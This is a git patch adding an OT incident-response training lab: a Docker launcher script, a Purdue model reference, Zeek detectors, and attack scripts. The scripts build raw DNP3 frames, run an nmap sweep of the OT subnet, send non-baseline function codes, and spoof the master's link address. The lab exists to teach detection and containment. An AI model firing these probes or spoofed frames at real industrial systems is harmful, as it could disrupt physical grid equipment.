+" print(f\"[MASTER] Binary readings: {binary_data}\")" \ +" except Exception as e:" \ +" print(f\"[MASTER] Poll error: {e}\")" \ +" time.sleep(10)" \ +> /master.py && + echo "[MASTER] Waiting for outstation to start. . ." && + until nc -z 192.168.20.10 20000; do sleep 2; done && + echo "[MASTER] Outstation is up. Starting master. . ." && + sleep 3 && + python3 /master.py' + + $ews_container_name: + image: $ews_image + container_name: $ews_container_name + hostname: $ews_container_name + environment: + - DISPLAY=\${DISPLAY} + - DEBIAN_FRONTEND=noninteractive + volumes: + - /tmp/.X11-unix:/tmp/.X11-unix + - $zeek_host_dir:/opt/zeek-lab + command: > + bash -c ' + echo "wireshark-common wireshark-common/install-setuid boolean true" | debconf-set-selections && + apt update && + apt install -y iputils-ping nmap net-tools tcpdump tshark wireshark iproute2 procps iptables curl gnupg ca-certificates nano less jq && + # Zeek install — conditional on the EWS distro. + # Kali ships zeek in the default repos; Ubuntu 22.04 needs the OpenSUSE OBS repo. + if grep -q "ID=kali" /etc/os-release; then + apt install -y zeek; + else + curl -fsSL https://download.opensuse.org/repositories/security:zeek/xUbuntu_22.04/Release.key | gpg --dearmor -o /etc/apt/trusted.gpg.d/security_zeek.gpg && + echo "deb http://download.opensuse.org/repositories/security:/zeek/xUbuntu_22.04/ /" > /etc/apt/sources.list.d/security_zeek.list && + apt update && + apt install -y zeek; + fi && + # Symlinks so zeek is on PATH + ln -sf /opt/zeek/bin/zeek /usr/local/bin/zeek 2>/dev/null || true && + ln -sf /opt/zeek/bin/zeek-cut /usr/local/bin/zeek-cut 2>/dev/null || true && + sysctl -w net.ipv4.ip_forward=1 && + tail -f /dev/null' + networks: + $lab_net01: + ipv4_address: 192.168.20.100 + $lab_net02: + ipv4_address: 192.168.21.100 + privileged: true + + $attacker_container_name: + image: $ubuntu_image + container_name: $attacker_container_name + hostname: $attacker_container_name + mac_address: 00:1C:06:D3:01:99 + environment: + - PYTHONDONTWRITEBYTECODE=1 + networks: + $lab_net02: + ipv4_address: 192.168.21.30 + cap_add: + - NET_ADMIN + - NET_RAW + privileged: true + volumes: + - $attacks_host_dir:/attacks + command: > + bash -c ' + apt update && + apt install -y python3 python3-pip nmap iproute2 iputils-ping tcpdump && + pip install dnp3-python && + ip route replace default via 192.168.21.100 && + sysctl -w net.ipv4.ip_forward=1 && + echo "[ATTACKER] Ready. Awaiting -attack / -incident triggers from host." && + tail -f /dev/null' + +networks: + $lab_net01: + name: $lab_net01 + driver: bridge + ipam: + config: + - subnet: 192.168.20.0/24 + + $lab_net02: + name: $lab_net02 + driver: bridge + ipam: + config: + - subnet: 192.168.21.0/24 +EOF +} + +# ---------------------------------------- +# Fire an attack scenario inside the attacker container. +run_attack() { + local scenario="$1" + + if [ -z "$scenario" ]; then + printf "\033[31m[Error]\033[0m Missing scenario name. Usage: $0 -attack <%s>\n" "$(IFS=\|; echo "${attack_scenarios[*]}")" + exit 1 + fi + + # Validate against the canonical list. + local found=0 + for s in "${attack_scenarios[@]}"; do + [ "$s" = "$scenario" ] && found=1 && break + done + if [ $found -eq 0 ]; then + printf "\033[31m[Error]\033[0m Unknown scenario '%s'. Valid: %s\n" "$scenario" "${attack_scenarios[*]}" + exit 1 + fi + + if ! container_exists "$attacker_container_name"; then + printf "\033[31m[Error]\033[0m Attacker container not running. Run -start first.\n" + exit 1 + fi + + + local script_sh="/attacks/attack_${scenario}.sh" + local script_py="/attacks/attack_${scenario}.py" + printf "\033[1;33m[Working]\033[0m Firing scenario '%s' inside %s. . .\n" "$scenario" "$attacker_container_name" + if docker exec "$attacker_container_name" test -f "$script_sh"; then + docker exec -it "$attacker_container_name" bash "$script_sh" + elif docker exec "$attacker_container_name" test -f "$script_py"; then + docker exec -it "$attacker_container_name" python3 "$script_py" + else + printf "\033[31m[Error]\033[0m No script found for scenario '%s' inside attacker.\n" "$scenario" + exit 1 + fi +} + +# ---------------------------------------- +# -incident: replay the full kill-chain so the student gets a populated notice.log +# to open the incident from. Same scenarios as OTLab15, fired back-to-back. +run_incident() { + if ! container_exists "$attacker_container_name"; then + printf "\033[31m[Error]\033[0m Attacker container not running. Run -start first.\n" + exit 1 + fi + printf "\033[1;33m[Working]\033[0m Replaying the full kill-chain to open the incident. . .\n" + printf "\033[34m[Information]\033[0m Make sure Zeek is capturing in the EWS so notice.log fills up.\n" + for scenario in "${attack_scenarios[@]}"; do + run_attack "$scenario" + printf "\033[34m[Information]\033[0m Scenario '%s' done. Pausing before the next stage. . .\n" "$scenario" + sleep 5 + done + printf "\033[32m✔ Kill-chain replayed (scan → fingerprint → spoof). The incident is open.\033[0m\n" + printf "\033[34m[Information]\033[0m Triage the notice.log, then contain with: $0 -contain\n" +} + +# ---------------------------------------- +# Environment detection. +# Cross-bridge routing between two Docker bridges requires kernel-level tweaks +# only on WSL2, where the default sysctl/iptables policies block forwarded +# traffic. On native Linux and macOS Docker Desktop the defaults work as-is. +detect_environment() { + is_wsl=0 + is_linux=0 + is_macos=0 + + case "$(uname -s)" in + Linux*) + is_linux=1 + if grep -qiE "(microsoft|wsl)" /proc/version 2>/dev/null; then + is_wsl=1 + fi + ;; + Darwin*) + is_macos=1 + ;; + esac +} + +apply_cross_bridge_rules() { + if [ "$is_wsl" -ne 1 ]; then + return 0 + fi + + if ! command -v sudo >/dev/null 2>&1 || ! command -v iptables >/dev/null 2>&1; then + printf "\033[33m[Warning]\033[0m WSL detected but 'sudo' or 'iptables' missing.\n" + printf "\033[33m[Warning]\033[0m Cross-bridge traffic between OT and corp networks may not work.\n" + return 0 + fi + + printf "\033[1;33m[Working]\033[0m WSL detected — applying cross-bridge routing rules (sudo required). . .\n" + sudo sysctl -w net.bridge.bridge-nf-call-iptables=0 >/dev/null 2>&1 + sudo iptables -I DOCKER-USER -s 192.168.20.0/24 -d 192.168.21.0/24 -j ACCEPT 2>/dev/null + sudo iptables -I DOCKER-USER -s 192.168.21.0/24 -d 192.168.20.0/24 -j ACCEPT 2>/dev/null +} + +revert_cross_bridge_rules() { + if [ "$is_wsl" -ne 1 ]; then + return 0 + fi + + if ! command -v sudo >/dev/null 2>&1 || ! command -v iptables >/dev/null 2>&1; then + return 0 + fi + + printf "\033[1;33m[Working]\033[0m Reverting cross-bridge routing rules (sudo required). . .\n" + sudo sysctl -w net.bridge.bridge-nf-call-iptables=1 >/dev/null 2>&1 + sudo iptables -D DOCKER-USER -s 192.168.20.0/24 -d 192.168.21.0/24 -j ACCEPT 2>/dev/null + sudo iptables -D DOCKER-USER -s 192.168.21.0/24 -d 192.168.20.0/24 -j ACCEPT 2>/dev/null +} + +# ---------------------------------------- +# Incident-response containment. +apply_containment_rules() { + if ! container_exists "$ews_container_name"; then + printf "\033[31m[Error]\033[0m EWS container %s not running — run -start first.\n" "$ews_container_name" + exit 1 + fi + + # Idempotent: remove any prior copy of this rule first, then insert it at the top. + docker exec "$ews_container_name" iptables -D FORWARD -s "$attacker_ip" -d "$ot_subnet" -j DROP 2>/dev/null + docker exec "$ews_container_name" iptables -I FORWARD 1 -s "$attacker_ip" -d "$ot_subnet" -j DROP +} + +revert_containment_rules() { + if ! container_exists "$ews_container_name"; then + return 0 + fi + # Remove every copy of the containment rule (idempotent). + while docker exec "$ews_container_name" iptables -C FORWARD -s "$attacker_ip" -d "$ot_subnet" -j DROP 2>/dev/null; do + docker exec "$ews_container_name" iptables -D FORWARD -s "$attacker_ip" -d "$ot_subnet" -j DROP 2>/dev/null + done +} + +# ---------------------------------------- +check_requirements() { + error_flag=0 + + if ! command -v docker >/dev/null 2>&1; then + printf "\033[31m[Error]\033[0m Docker is not installed on this system.\n" + error_flag=1 + elif ! docker info >/dev/null 2>&1; then + printf "\033[31m[Error]\033[0m Docker is installed, but not accessible.\n" + error_flag=1 + fi + + if command -v docker-compose >/dev/null 2>&1; then + DOCKER_COMPOSE_CMD="docker-compose" + elif docker compose version >/dev/null 2>&1; then + DOCKER_COMPOSE_CMD="docker compose" + else + printf "\033[31m[Error]\033[0m Docker Compose is not installed.\n" + error_flag=1 + fi + + if [ "$error_flag" -eq 1 ]; then + printf "\033[31m✘ The $lab_name system requirements check failed.\033[0m\n" + exit 1 + fi +} + +container_exists() { + docker ps -a --format '{{.Names}}' | grep -q "$1" +} + +# ---------------------------------------- +# Command handling +case "$1" in + -start) + show_banner + distro="${2:-ubuntu}" + + if [[ "$distro" == "kali" ]]; then + selected_image="$kali_image" + elif [[ "$distro" == "ubuntu" ]]; then + selected_image="$ubuntu_image" + else + printf "\033[31m[Error]\033[0m Invalid distro. Please use 'kali' or 'ubuntu'.\n" + exit 1 + fi + + check_requirements + check_script_layout + detect_environment + printf "\033[1;33m[Working]\033[0m Starting $lab_name. . .\n" + generate_compose_file "$selected_image" + $DOCKER_COMPOSE_CMD -f "$compose_file" up -d + if [ $? -eq 0 ]; then + apply_cross_bridge_rules + printf "\033[32m✔ $lab_name started.\033[0m\n" + printf "\033[34m[Information]\033[0m Open the incident with: $0 -incident\n" + else + printf "\033[31m✘ $lab_name failed to start.\033[0m\n" + exit 1 + fi + ;; + -stop) + show_banner + if container_exists "$ot_container_name01" || container_exists "$ot_container_name02" || container_exists "$ews_container_name" || container_exists "$attacker_container_name"; then + check_requirements + printf "\033[1;33m[Working]\033[0m Stopping $lab_name. . .\n" + $DOCKER_COMPOSE_CMD -f "$compose_file" stop + printf "\033[32m✔ $lab_name stopped.\033[0m\n" + else + printf "\033[34m[Information]\033[0m No containers to stop.\n" + exit 1 + fi + ;; + -clean) + show_banner + if container_exists "$ot_container_name01" || container_exists "$ot_container_name02" || container_exists "$ews_container_name" || container_exists "$attacker_container_name"; then + check_requirements + detect_environment + printf "\033[1;33m[Working]\033[0m Cleaning up all $lab_name resources. . .\n" + revert_containment_rules + revert_cross_bridge_rules + $DOCKER_COMPOSE_CMD -f "$compose_file" down -v + docker network rm "$lab_net01" "$lab_net02" 2>/dev/null + rm -f "$compose_file" + printf "\033[32m✔ All $lab_name resources removed.\033[0m\n" + else + printf "\033[34m[Information]\033[0m No containers found to clean.\n" + exit 1 + fi + ;; + -run) + show_banner + if container_exists "$ews_container_name"; then + check_requirements + printf "\033[1;33m[Working]\033[0m Accessing $ews_container_name terminal. . .\n" + docker exec -it "$ews_container_name" bash + else + printf "\033[31m[Error]\033[0m Container $ews_container_name not found.\n" + exit 1 + fi + ;; + -restart) + show_banner + check_requirements + if [ ! -f "$compose_file" ]; then + printf "\033[31m[Error]\033[0m Cannot restart: $compose_file not found.\n" + exit 1 + fi + + printf "\033[1;33m[Working]\033[0m Restarting $lab_name. . .\n" + $DOCKER_COMPOSE_CMD -f "$compose_file" up -d + if [ $? -eq 0 ]; then + printf "\033[32m✔ $lab_name restarted.\033[0m\n" + else + printf "\033[31m✘ $lab_name failed to restart.\033[0m\n" + exit 1 + fi + ;; + -status) + show_banner + check_requirements + $DOCKER_COMPOSE_CMD -f "$compose_file" ps + ;; + -attack) + show_banner + check_requirements + run_attack "$2" + ;; + -incident) + show_banner + check_requirements + run_incident + ;; + -contain) + show_banner + check_requirements + detect_environment + printf "\033[1;33m[Working]\033[0m Applying reference containment (isolate, do not shut down). . .\n" + printf "\033[34m[Information]\033[0m Dropping attacker %s -> OT %s; preserving master %s -> outstation %s.\n" \ + "$attacker_ip" "$ot_subnet" "$master_ip" "$outstation_ip" + apply_containment_rules + printf "\033[32m✔ Containment applied. Verify with Zeek: attacker flows stop, polling continues.\033[0m\n" + printf "\033[34m[Information]\033[0m Lift containment when recovered with: $0 -restore\n" + ;; + -restore) + show_banner + check_requirements + detect_environment + printf "\033[1;33m[Working]\033[0m Lifting containment — returning to the clean monitored state. . .\n" + revert_containment_rules + printf "\033[32m✔ Containment lifted. Re-run your Zeek baseline check to sign off recovery.\033[0m\n" + ;; + *) + show_banner + echo "Usage: $0 -start [kali|ubuntu] | -stop | -clean | -run | -restart | -status | -attack | -incident | -contain | -restore" + echo "" + echo " -start Start the $lab_name environment using the specified distro (default: ubuntu)" + echo " Valid options: kali (rolling) or ubuntu (22.04)" + echo " -run Open a terminal inside the $ews_container_name container" + echo " -clean Remove containers, volumes, and network (reverts all iptables rules)" + echo " -stop Stop all containers" + echo " -restart Restart previously stopped containers" + echo " -status Show current containers status" + echo " -attack Fire a single controlled attack scenario from $attacker_container_name" + echo " Valid scenarios: ${attack_scenarios[*]}" + echo " -incident Replay the full kill-chain (${attack_scenarios[*]}) to open the incident" + echo " -contain Apply reference containment: surgical DROP of the attacker into OT," + echo " preserving the legitimate master->outstation poll" + echo " -restore Lift containment and return to the clean monitored state" + exit 1 + ;; +esac diff --git a/OTLab16/PurdueModelReference.md b/OTLab16/PurdueModelReference.md new file mode 100644 index 0000000..453124c --- /dev/null +++ b/OTLab16/PurdueModelReference.md @@ -0,0 +1,132 @@ +# Purdue Model Reference — current vs target architecture + +> The visual heart of OTLab16. Use it to place hosts on Purdue levels (Action 1), +> to name the abused conduit (Action 3), and to justify the remediation (Action 7). +> Companion file: `IRPlaybookReference.md` (process). + +--- + +## 1. The Purdue model (PERA) in one screen + +| Level | Zone | Typical assets | +|-------------|---------------------------|------------------------------------------------------------------------| +| **L5 / L4** | Enterprise / Corporate IT | ERP, email, corporate apps, user PCs | +| **L3.5** | **Industrial DMZ (IDMZ)** | Firewalls, jump host, patch/historian mirror — the *only* IT↔OT broker | +| **L3** | Manufacturing Operations | Engineering workstation (EWS), historian, I/O server | +| **L2** | Supervisory Control | SCADA / HMI, DNP3 **master** | +| **L1** | Basic Control | PLCs, RTUs — the DNP3 **outstation** | +| **L0** | Physical Process | Sensors & actuators — the **feeder breaker** | + +The rule the model encodes: **traffic flows between adjacent levels through +controlled conduits**, and **all IT↔OT traffic is brokered through the L3.5 IDMZ**. +Skipping levels — or bridging IT straight to OT — is the anti-pattern this incident +exploits. + +## 2. This lab's hosts, mapped to Purdue (fill in Action 1) + +| Host (container) | IP | Purdue level | Note | +|-------------------------|---------------------------------|---------------------|-----------------------------------| +| Maria's PC / corporate | corp segment | L`{4/5}` | initial compromise (USB) | +| `dnp3-attacker` | 192.168.21.30 | L`{4/5}` | adversary foothold on corp | +| `otlab-student` (EWS) | 192.168.20.100 / 192.168.21.100 | L`{3}` ↔ dual-homed | **bridges IT↔OT — the violation** | +| `dnp3-master` | 192.168.21.20 | L`{2}` | sits on corp segment (smell) | +| `dnp3-outstation` (RTU) | 192.168.20.10 | L`{1}` | field device | +| feeder breaker | (simulated) | L`{0}` | physical process | + +## 3. Current architecture — *why the incident was possible* + +The EWS is **dual-homed** and forwards between IT and OT; there is no IDMZ, and the +DNP3 master sits out on the corporate segment. Maria's compromised PC therefore has +a transitive path all the way to the L1 outstation. + +```mermaid +flowchart TB + subgraph IT["Corporate / IT (L4-5)"] + Maria["Maria's PC
(compromised — USB)"] + Atk["dnp3-attacker
192.168.21.30"] + Mstr["DNP3 Master (L2)
192.168.21.20"] + end + EWS["EWS / otlab-student
dual-homed — bridges IT↔OT!
192.168.21.100 / 192.168.20.100"] + subgraph OT["OT (L0-1)"] + Out["Outstation / RTU (L1)
192.168.20.10"] + Brk["Feeder breaker (L0)"] + end + Maria -.pivot.-> Atk + Atk -->|"scan / fingerprint / spoof"| EWS + Mstr -->|"legit poll"| EWS + EWS --> Out --> Brk +``` + +> The attacker's path and the legitimate poll **share the same conduit** through the +> EWS. That is exactly why containment must be surgical (drop the attacker, keep the +> poll) and not a blanket corp↔OT cut. + +## 4. Target architecture — *how it should be (the remediation)* + +Introduce an **IDMZ at L3.5**, move the master down into OT (L2), make the EWS +OT-only, and force all IT↔OT traffic through a firewall + jump host. There is then +**no direct path** from a compromised corporate host to the outstation. + +```mermaid +flowchart TB + subgraph IT["Enterprise (L4-5)"] + Users["Corporate hosts"] + end + subgraph IDMZ["Industrial DMZ (L3.5)"] + FW["Firewall"] + Jump["Jump host / broker"] + end + subgraph OT["OT (L0-3)"] + EWS2["EWS (OT-only, L3)"] + Mstr2["Master (L2)"] + Out2["Outstation / RTU (L1)"] + Brk2["Feeder breaker (L0)"] + end + Users --> FW --> Jump --> EWS2 + EWS2 --- Mstr2 --> Out2 --> Brk2 +``` + +## 5. The through-line + +The incident was only possible because the **current** architecture violates the +Purdue model: no IT/OT separation and a dual-homed EWS acting as an uncontrolled +conduit. The cure delivered in Post-Incident (Action 7) is the **target** +architecture — the IDMZ and segmentation — which is also the MITRE ATT&CK for ICS +mitigation **M0930 Network Segmentation**. This closes the loop from *Respond* +(Action 4 cuts the conduit tactically) to *Improve* (Action 7 removes it +architecturally). + +## 6. Where the model strains — IIoT & the cloud (food for thought) + +The Purdue model assumes a tidy hierarchy with traffic flowing **only between +adjacent levels** through controlled conduits. That assumption was reasonable when +field devices were dumb and connectivity was scarce. IIoT and cloud integration +quietly break it — worth keeping in mind before treating "achieve Purdue" as the +end state rather than a baseline. + +- **Level-skipping by design.** An IIoT sensor that ships telemetry straight to a + cloud platform (MQTT/HTTPS out) collapses L0–L1 into L4-and-beyond in a single + hop. The neat L3.5 broker is bypassed not by an attacker but by the *intended* + data path. +- **The IDMZ stops being the only door.** Purdue's whole security argument rests on + IT↔OT traffic being funneled through one controlled choke point. Cloud-managed + devices, vendor remote-access agents, and "phone-home" firmware each open an + outbound conduit the IDMZ never sees. +- **North–south vs. east–west.** The model reasons about vertical flows between + levels; IIoT adds dense **east–west** chatter (device-to-device, device-to-broker) + and **outbound** cloud links that the layered diagram doesn't naturally express. +- **Trust boundary moves off-site.** When control logic or analytics live in a + SaaS/cloud tenant, part of L3/L4 now sits outside the plant entirely — the + perimeter you're defending no longer has a fence you own. +- **Blurred device identity.** A single IIoT gateway can simultaneously be a field + sensor (L0/L1), a protocol translator (L2/L3), and a cloud client (L4+). Placing + it on one Purdue level — the very first thing Action 1 asks you to do — stops + being a clean call. + +**So what?** The response isn't to discard Purdue but to layer **zero-trust / +ISA-62443 zones-and-conduits** thinking on top of it: identity- and policy-based +segmentation per flow, explicit allow-lists for outbound cloud conduits, and +treating each IIoT data path as a conduit that needs the same scrutiny as the EWS +bridge in this lab. The incident here was a *level-skipping* failure (a dual-homed +host); IIoT makes level-skipping the **default**, so the architectural cure in +Section 4 becomes a starting point, not the finish line. diff --git a/OTLab16/scripts/attacks/_dnp3.py b/OTLab16/scripts/attacks/_dnp3.py new file mode 100755 index 0000000..b1355a4 --- /dev/null +++ b/OTLab16/scripts/attacks/_dnp3.py @@ -0,0 +1,140 @@ +#!/usr/bin/env python3 +"""Minimal DNP3-over-TCP frame builder for the Zeek Lab attack scenarios. +""" +import socket +import struct + +# DNP3 CRC: poly 0x3D65, reflected (use 0xA6BC), init 0x0000, xor-out 0xFFFF, +_CRC_POLY = 0xA6BC + + +def dnp3_crc(data): + crc = 0x0000 + for b in data: + crc ^= b + for _ in range(8): + crc = ((crc >> 1) ^ _CRC_POLY) if (crc & 1) else (crc >> 1) + crc = (~crc) & 0xFFFF + return struct.pack(" 255: + raise ValueError("frame too long; transport segmentation is not implemented") + header = bytes([0x05, 0x64, length, ctrl]) + struct.pack(" measures propagation delay; reply reveals support +# - ENABLE_UNSOLICITED (20 / 0x14) -> with object header Group 60 var 2 (class 1) +# - DISABLE_UNSOLICITED (21 / 0x15) -> idem +# - UNDEFINED_0x70 (112 / 0x70) -> unassigned function code; forces an error reply +# +# COLD_RESTART (13 / 0x0D) and WARM_RESTART (14 / 0x0E) are commented out: on +# real equipment they restart the outstation. On the emulated stack +# (dnp3-python) they should be ignored/NAKed, but stay disabled by default so +# the lab is repeatable. The function-code detector picks them up just the same +# if re-enabled. +# +# Link addresses: dst=1 (outstation), src=2 (the legitimate master's link ID). +# The outstation tends to close the connection after these requests; Dnp3Channel +# transparently reconnects. +import sys +import time + +from _dnp3 import (Dnp3Channel, build_app_request, build_link_frame, obj_header_all, + transport_segment) + +OUTSTATION_IP = sys.argv[1] if len(sys.argv) > 1 else "192.168.20.10" +PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 20000 +DST_LINK, SRC_LINK = 1, 2 + +PROBES = [ + ("DELAY_MEASURE", 0x17, b""), + ("ENABLE_UNSOLICITED", 0x14, obj_header_all(60, 2)), + ("DISABLE_UNSOLICITED", 0x15, obj_header_all(60, 2)), + ("UNDEFINED_0x70", 0x70, b""), +] + + +def _probe_frame(fc, objs, seq): + return build_link_frame(DST_LINK, SRC_LINK, + transport_segment(build_app_request(fc, objs, seq=seq))) + + +def main(): + print(f"[fingerprint] Probing {OUTSTATION_IP}:{PORT} with non-baseline function codes") + seq = 0 + with Dnp3Channel(OUTSTATION_IP, PORT, recv_timeout=0.4) as chan: + for name, fc, objs in PROBES: + try: + reply = chan.send_recv(_probe_frame(fc, objs, seq)) + outcome = reply.hex() if reply else "no reply" + except OSError as exc: + outcome = f"send failed ({exc})" + print(f"[fingerprint] {name:<20} fc=0x{fc:02X} -> {outcome}") + seq = (seq + 1) & 0x0F + time.sleep(0.3) + print("[fingerprint] Done — on the EWS, check the DNP3 function codes for " + "anything the master never sends.") + + +if __name__ == "__main__": + main() diff --git a/OTLab16/scripts/attacks/attack_scan.sh b/OTLab16/scripts/attacks/attack_scan.sh new file mode 100755 index 0000000..b7a72ff --- /dev/null +++ b/OTLab16/scripts/attacks/attack_scan.sh @@ -0,0 +1,24 @@ +#!/bin/bash +# Scenario: scan — OT-network reconnaissance from the corporate segment. +# +# What it does: +# 1) TCP SYN sweep of the OT subnet looking for hosts answering on 20000/tcp (DNP3). +# 2) Service/version probe (-sV) against responsive hosts — opens full TCP +# handshakes that close without any DNP3 PDU. +# +# Expected Zeek signal (running on the EWS): +# - conn.log: a brand-new orig_h (the attacker) absent from the Lab 1 baseline. +# - several flows in state S0/REJ/RSTOS0 to 20000/tcp (SYNs with no application data). +# - with -sV: established flows with ~0 bytes exchanged before the reset. +# +set -u +OT_SUBNET="${1:-192.168.20.0/24}" +DNP3_PORT="${2:-20000}" + +echo "[scan] TCP SYN sweep of ${OT_SUBNET} on ${DNP3_PORT}/tcp. . ." +nmap -n -Pn -sS -p "${DNP3_PORT}" --open "${OT_SUBNET}" + +echo "[scan] Service/version probe on responsive hosts. . ." +nmap -n -Pn -sV -p "${DNP3_PORT}" "${OT_SUBNET}" + +echo "[scan] Done — inspect conn.log on the EWS for the new source and SYN-only flows." diff --git a/OTLab16/scripts/attacks/attack_spoof.py b/OTLab16/scripts/attacks/attack_spoof.py new file mode 100755 index 0000000..53f6d2e --- /dev/null +++ b/OTLab16/scripts/attacks/attack_spoof.py @@ -0,0 +1,35 @@ +#!/usr/bin/env python3 +# Scenario: spoof — DNP3 frame with a forged link-source address. +# +# The attacker sends the outstation a single, perfectly normal READ — but with +# the link source address = 2 (the legitimate master's ID). I.e. at the DNP3 +# layer it appears to come from the master; at the IP layer it comes from the +# attacker. This is the minimal demonstration of the (dnp3.dl.src ↔ orig_h) +# mismatch — it does nothing else anomalous. +# +# Signal: the link-vs-IP detector cross-references the DNP3 link source with +# the source IP against the Lab 1 baseline (link 2 == master == +# 192.168.21.20) and flags the discrepancy. +import socket +import sys + +from _dnp3 import read_request, send_frame + +OUTSTATION_IP = sys.argv[1] if len(sys.argv) > 1 else "192.168.20.10" +PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 20000 +DST_LINK = 1 +SPOOFED_SRC_LINK = int(sys.argv[3]) if len(sys.argv) > 3 else 2 # legitimate master's link ID + + +def main(): + print(f"[spoof] Sending a READ to {OUTSTATION_IP}:{PORT} with forged DNP3 " + f"link source {SPOOFED_SRC_LINK}") + frame = read_request(DST_LINK, SPOOFED_SRC_LINK, group=1, variation=0, seq=0) + reply = send_frame(OUTSTATION_IP, PORT, frame) + print(f"[spoof] reply: {reply.hex() if reply else 'no reply'}") + print("[spoof] Done — on the EWS, cross-check the DNP3 link source against " + "orig_h and the Lab 1 baseline.") + + +if __name__ == "__main__": + main() diff --git a/OTLab16/scripts/solutions/baseline.zeek b/OTLab16/scripts/solutions/baseline.zeek new file mode 100644 index 0000000..0422927 --- /dev/null +++ b/OTLab16/scripts/solutions/baseline.zeek @@ -0,0 +1,20 @@ +module DNP3Baseline; + +export { + const expected_endpoints: set[addr] = { + 192.168.21.20, # master + 192.168.20.10, # outstation + } &redef; + + const expected_func_codes: set[count] = { + 0x01, # READ + 0x81, # RESPONSE + 0x00, # CONFIRM + 0x82, # UNSOLICITED_RESPONSE + } &redef; + + const link_addr_to_ip: table[count] of addr = { + [1] = 192.168.20.10, # outstation + [2] = 192.168.21.20, # master + } &redef; +} diff --git a/OTLab16/scripts/solutions/detectors/link-vs-ip-mismatch.zeek b/OTLab16/scripts/solutions/detectors/link-vs-ip-mismatch.zeek new file mode 100644 index 0000000..4ea193c --- /dev/null +++ b/OTLab16/scripts/solutions/detectors/link-vs-ip-mismatch.zeek @@ -0,0 +1,19 @@ +@load ../baseline.zeek + +module DNP3Anomaly; + +export { + redef enum Notice::Type += { Link_Vs_IP_Mismatch, }; +} + +event dnp3_header_block(c: connection, is_orig: bool, len: count, ctrl: count, + dest_addr: count, src_addr: count) + { + local sender_ip = is_orig ? c$id$orig_h : c$id$resp_h; + if ( src_addr in DNP3Baseline::link_addr_to_ip && + DNP3Baseline::link_addr_to_ip[src_addr] != sender_ip ) + NOTICE([$note = Link_Vs_IP_Mismatch, + $msg = fmt("DNP3 link src %d arrived from %s, expected %s (spoof)", + src_addr, sender_ip, DNP3Baseline::link_addr_to_ip[src_addr]), + $conn = c]); + } diff --git a/OTLab16/scripts/solutions/detectors/unexpected-function-code.zeek b/OTLab16/scripts/solutions/detectors/unexpected-function-code.zeek new file mode 100644 index 0000000..60e06b2 --- /dev/null +++ b/OTLab16/scripts/solutions/detectors/unexpected-function-code.zeek @@ -0,0 +1,22 @@ +@load ../baseline.zeek + +module DNP3Anomaly; + +export { + redef enum Notice::Type += { Unexpected_Function_Code, }; +} + +function check_fc(c: connection, kind: string, fc: count) + { + if ( fc !in DNP3Baseline::expected_func_codes ) + NOTICE([$note = Unexpected_Function_Code, + $msg = fmt("DNP3 %s fc=0x%02x outside baseline on %s -> %s", + kind, fc, c$id$orig_h, c$id$resp_h), + $conn = c]); + } + +event dnp3_application_request_header(c: connection, is_orig: bool, application: count, fc: count) + { check_fc(c, "request", fc); } + +event dnp3_application_response_header(c: connection, is_orig: bool, application: count, fc: count, iin: count) + { check_fc(c, "response", fc); } diff --git a/OTLab16/scripts/solutions/detectors/unknown-endpoint.zeek b/OTLab16/scripts/solutions/detectors/unknown-endpoint.zeek new file mode 100644 index 0000000..cdcaba4 --- /dev/null +++ b/OTLab16/scripts/solutions/detectors/unknown-endpoint.zeek @@ -0,0 +1,35 @@ +@load ../baseline.zeek + +module DNP3Anomaly; + +export { + redef enum Notice::Type += { Unknown_Endpoint, }; + const dnp3_port = 20000/tcp &redef; +} + +function check_endpoints(c: connection, kind: string, fc: count) + { + local o = c$id$orig_h; + local r = c$id$resp_h; + if ( o !in DNP3Baseline::expected_endpoints || + r !in DNP3Baseline::expected_endpoints ) + NOTICE([$note = Unknown_Endpoint, + $msg = fmt("DNP3 %s on %s -> %s (fc=%d): endpoint outside baseline", + kind, o, r, fc), + $conn = c]); + } + +event dnp3_application_request_header(c: connection, is_orig: bool, application: count, fc: count) + { check_endpoints(c, "request", fc); } + +event dnp3_application_response_header(c: connection, is_orig: bool, application: count, fc: count, iin: count) + { check_endpoints(c, "response", fc); } + +event new_connection(c: connection) + { + if ( c$id$resp_p == dnp3_port && c$id$orig_h !in DNP3Baseline::expected_endpoints ) + NOTICE([$note = Unknown_Endpoint, + $msg = fmt("TCP/%s from unexpected source %s -> %s", + c$id$resp_p, c$id$orig_h, c$id$resp_h), + $conn = c]); + } diff --git a/OTLab16/scripts/solutions/local.zeek b/OTLab16/scripts/solutions/local.zeek new file mode 100644 index 0000000..004f768 --- /dev/null +++ b/OTLab16/scripts/solutions/local.zeek @@ -0,0 +1,11 @@ +@load local # stock site policy: conn, dnp3, notice, ... + +# Docker veth delivers TCP packets with bad checksums; without this Zeek drops +# the payloads and never parses DNP3. Lab-only — never in production. +redef ignore_checksums = T; + +@load ./baseline.zeek + +@load ./detectors/unknown-endpoint.zeek +@load ./detectors/unexpected-function-code.zeek +@load ./detectors/link-vs-ip-mismatch.zeek From 82367d9647bf242712f7ec90efc56a4d5e64dd41 Mon Sep 17 00:00:00 2001 From: fariasrafael10 Date: Tue, 23 Jun 2026 00:21:44 +0100 Subject: [PATCH 09/11] Update README: index OTLab14-16 with repo-relative links so the index resolver under any fork/branch/clone. --- README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/README.md b/README.md index 01f4d8d..38b6f39 100644 --- a/README.md +++ b/README.md @@ -53,6 +53,9 @@ Additionally, as outlined in [ThirdPartyDockerImages](https://github.com/substat - [OTLab11](https://github.com/substationworm/OTLab/tree/main/OTLab11): AiTM MFA Bypass. - [OTLab12](https://github.com/substationworm/OTLab/tree/main/OTLab12): Fundamental Network Topologies. - [OTLab13](https://github.com/substationworm/OTLab/tree/main/OTLab13): Jump Host. +- [OTLab14](./OTLab14): DNP3 Traffic Analysis with Wireshark. +- [OTLab15](./OTLab15): DNP3 Anomaly Detection with Zeek. +- [OTLab16](./OTLab16): DNP3 Incident Response and OT Containment. --- From abb28c994192ed5c0eb9c1b108765892ad31f901 Mon Sep 17 00:00:00 2001 From: fariasrafael10 Date: Tue, 23 Jun 2026 00:27:43 +0100 Subject: [PATCH 10/11] OTLab14: normalize H1 title --- OTLab14/OTLab14.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/OTLab14/OTLab14.md b/OTLab14/OTLab14.md index 4061823..cbf76bb 100644 --- a/OTLab14/OTLab14.md +++ b/OTLab14/OTLab14.md @@ -1,6 +1,6 @@ -# DNP3 & Wireshark Lab +# OTLab14 — DNP3 + Wireshark 